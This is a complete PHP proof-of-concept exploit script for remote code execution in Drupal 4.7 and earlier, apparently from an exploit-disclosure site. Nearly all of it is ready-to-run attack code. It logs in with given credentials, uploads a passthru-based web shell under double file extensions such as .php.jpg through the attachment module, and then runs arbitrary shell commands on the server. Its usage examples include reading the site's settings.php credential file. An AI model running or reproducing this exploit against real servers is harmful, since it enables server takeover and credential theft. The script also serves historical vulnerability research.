Drupal <= 4.7 attachment/mod_mime remote code execution
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n";
echo "by rgod rgod@xxxxxxxxxxxxx\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
/*
this works with a user account with upload rights and with permissions to modify
stories, however this is only a poc, you can do the same uploading an attachment
through any module, like this, with double extension, through all modules:
attach.php.pps
with this content:
*/
$shell=
'<?php
if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set("max_execution_time",0);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
passthru($_GET[cmd]);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
?>';
/*
then:
http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la
also, I noticed that from an admin account you can upload .php3 or .php5 files
*/
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to Drupal\r\n";
echo "user-pass: valid credentials with upload rights\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /drupal/ user password cat
./../sites/default/settings.php\r\n";
echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n";
die;
}
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$cmd="";$port=80;$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the
path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
srand(make_seed());
$anumber = rand(1,99999);
$data ="edit%5Bname%5D=".$user;
$data.="&edit%5Bpass%5D=".$pass;
$data.="&edit%5Bform_id%5D=user_login";
$data.="&op=Log%20in";
$packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
// echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[2]);
$cookie=$temp2[0];
echo "\r\nCookie -> ".$cookie."\r\n\r\n";
$ext= array(".php.jpg",".php.jpeg",".php.gif",
".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php.ppt",".php.pps");
for ($x=0; $x<=count($ext)-1;$x++)
{
echo "Trying with ".$ext[$x]." extension...\r\n";
$d=date("Y-m-d");
$data='-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[title]"
titolo
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[body]"
corpo
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[format]"
1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[form_id]"
story_node_form
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[name]"
'.$user.'
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[date]"
'.$d.' 23:59:59 +0000
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[status]"
1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[promote]"
1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[comment]"
2
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[path]"
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][title]"
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][description]"
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][pid]"
1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][path]"
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][weight]"
0
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][mid]"
0
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[menu][type]"
86
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[upload]";
filename="suntzu'.$anumber.$ext[$x].'"
Content-Type: image/jpeg
'.$shell.'
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="fileop"
Attach
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[fileop]"
http://'.$host.$path.'?q=upload/js
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name="edit[vid]"
-----------------------------7d6381c1b00a2--
';
$packet="POST ".$p."?q=upload/js HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6381c1b00a2\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.=$data;
//echo quick_dump($packet);
sendpacketii($packet);
$data='-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[title]"
titolo
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[body]"
corpo
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[format]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[form_id]"
story_node_form
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[name]"
'.$user.'
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[date]"
'.$d.' 23:59:59 +0000
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[status]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[promote]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[comment]"
2
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[path]"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][title]"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][description]"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][pid]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][path]"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][weight]"
0
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][mid]"
0
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[menu][type]"
86
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[files][upload_0][list]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[files][upload_0][description]"
hello.txt
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[upload]"; filename=""
Content-Type: image/jpeg
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[fileop]"
http://'.$host.$path.'?q=upload/js
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="edit[vid]"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="op"
Submit
-----------------------------7d6318101b00a2--
';
$packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6318101b00a2\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.=$data;
//echo quick_dump($packet);
sendpacketii($packet);
$packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd."
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*deli*"))
{echo "Exploit succeeded...\r\n";
$temp=explode("*deli*",$html);
die($temp[1]);
}
}
//if you are here...
echo "Exploit failed...";
?>
original url: http://retrogod.altervista.org/drupal_47_xpl.html